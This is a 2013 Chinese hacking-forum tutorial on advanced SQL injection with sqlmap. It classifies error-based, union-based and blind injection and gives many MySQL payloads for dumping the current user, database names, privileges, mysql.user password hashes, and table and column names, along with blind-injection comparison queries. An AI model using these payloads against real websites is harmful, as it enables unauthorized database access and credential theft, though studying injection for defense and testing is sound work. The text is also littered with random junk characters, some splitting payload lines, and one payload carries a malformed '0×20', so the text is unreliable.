找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2235|回复: 0
打印 上一主题 下一主题

sqlmap高级注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:31:26 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。, U, H% ]/ X! R0 r
( y. [3 q8 M8 t
这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表
* i1 l& \0 p! G# s; d6 E & I# g$ _* g3 ]* k9 f( \
分类标准        分类        备注7 T* D6 u% v. g, t  j6 R& O! i& v5 _
按字段类型        整型注入,字符型注入       
# x( W  H# h  W' A0 c% s' {按出现的位置        get注入,post注入,cookie注入,http header注入        , g+ k& b+ r) f; u2 \
然而高级注入是这样的
% n) D) W$ g( q; p
4 S! H$ k+ h* E) a% t% W& m高级注入分类        条件2 K+ j, n& ?$ w' G2 s$ v' [+ W) y9 o
error-based sql        数据库的错误回显可以返回,存在数据库,表结构! Y# i5 d! \" A+ Z0 b6 C8 d" {
union-based sql        能够使用union,存在数据库,表结构4 r% y# J; L8 G! S' L) S0 {! Z
blind sql        存在注入
( Y- Q5 q. q& W! q5 a; N我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。
( C$ F  X0 z8 e * a% e$ ~6 b  ~% f1 O4 |9 S
好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火' N$ m$ o0 y% \

$ n" Z' X& ^, z1 e* A附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。
$ f9 H. s9 f4 a2 h7 H
0 y6 R% h* v" z# q0 W: Y3 \8 `- u$ B4 v这里用mysql说明
: i! A# E; Y& s1 w8 @6 }' l4 q7 }
; ]( n- {) J5 M, O' L# O8 Ze注入坛子里很多了,请看戳我或者再戳我( h! X: s1 l, k% U) y2 e) E+ W& [/ M

2 F) ^. F* B7 d, ?u注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的/ `1 D- k2 x! q
4 i& O+ d/ h( ?2 Z
获取当前数据库用户名9 V* ~% ]; Q( V, ]# z' k

) a6 S3 p( B5 J, O1 e+ aUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C& J! V) A4 L2 x* a
AST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL
# l& l$ [2 e8 ~, n) mL, NULL#
8 P3 `9 T8 W8 J  D& @5 V* j( t+ D注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。. N* _, E0 |4 r& {: D% N$ m
8 G  G! J4 D! ]" @
获取数据库名. {5 j, X& f& g. P* M

: n" L. y( s/ t( l) \8 pUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
. S. t, e1 C& `& f" N, Y获取所有用户名9 q" q- g7 P* |1 t. p

& m+ g6 V! O& \  T1 u; I* Z/ J2 DUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#2 u% M7 s: x; _
查看当前用户权限
+ O0 ?+ S# }. \ 6 G3 ]6 ?, t7 W; J( Y' W- \  m  O
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
0 x. I6 G% `4 F' P1 N2 |0 u* z尝试获取密码,当然需要有能读mysql数据库的权限
/ z$ ?, m% R6 }6 [; W- B1 ` ; E$ h4 w5 d3 Z
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#
/ J- g2 \& v5 J7 z获取表名,limit什么的自己搞啦
, X  s# M, w! {( d8 F4 ] . A! I" d3 e2 W% e; ~5 c$ I
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#
  U9 h( b. Y; l6 x2 p# i% R; s获取字段名及其类型
" h6 K, u5 O* h2 W- K$ j4 \UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#- z" @* b9 h+ `2 d
) v$ s0 E& D+ ~4 s, |$ \6 {+ r. K( W
b注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。
6 ?+ r! @) K- `0 o+ x4 o) ? ) V/ e, u' s3 j1 ^
如:1 V" T" B! I* K  {3 [% f  P+ \4 o
获取当前用户名# P: R3 f  W% T  T
; A, C: W  l, r
AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116
+ k' A2 q+ u6 E2 q获取当前数据库
( b: y% i, q* V1 x$ x! ^, \+ x
4 m, x% X! p" K) C; a  W4 K3 d1 jAND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106
. q# K6 ~3 a# O; e7 s8 f获取表名
3 O; H- K; x$ L + ]& e" p" @5 Y+ v+ {  T8 ~, S3 C" P
AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51) H! v! M/ G' f' g1 G
获取字段名及其类型和爆内容就不说了,改改上面的就可以了。
0 y6 z* H0 h# V2 L: Q5 |回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。9 ]& T3 ^9 K6 V9 _2 j
爆表4 S% ^5 T* ^; a) z7 U
) J) f; v6 z3 I
AND EXISTS(select * from table)
! ^4 I& D9 B$ u% n5 `6 Y爆字段
, E3 j  t$ D7 S9 A) f$ v
' |$ m8 T2 Q! f2 o( wAND EXISTS(select pwd from table)
. u  b8 B. a1 _3 M  M6 F9 b盲注的变化就比较多了,由于篇幅,只是举个例子而已。
, K) B: E! ^3 v" h- r% r6 [7 s& n 0 F% e( A( x$ ?; X  n2 K6 j1 G$ T/ \
本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。
2 L9 \2 t! ^: y( ?- y. D" a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表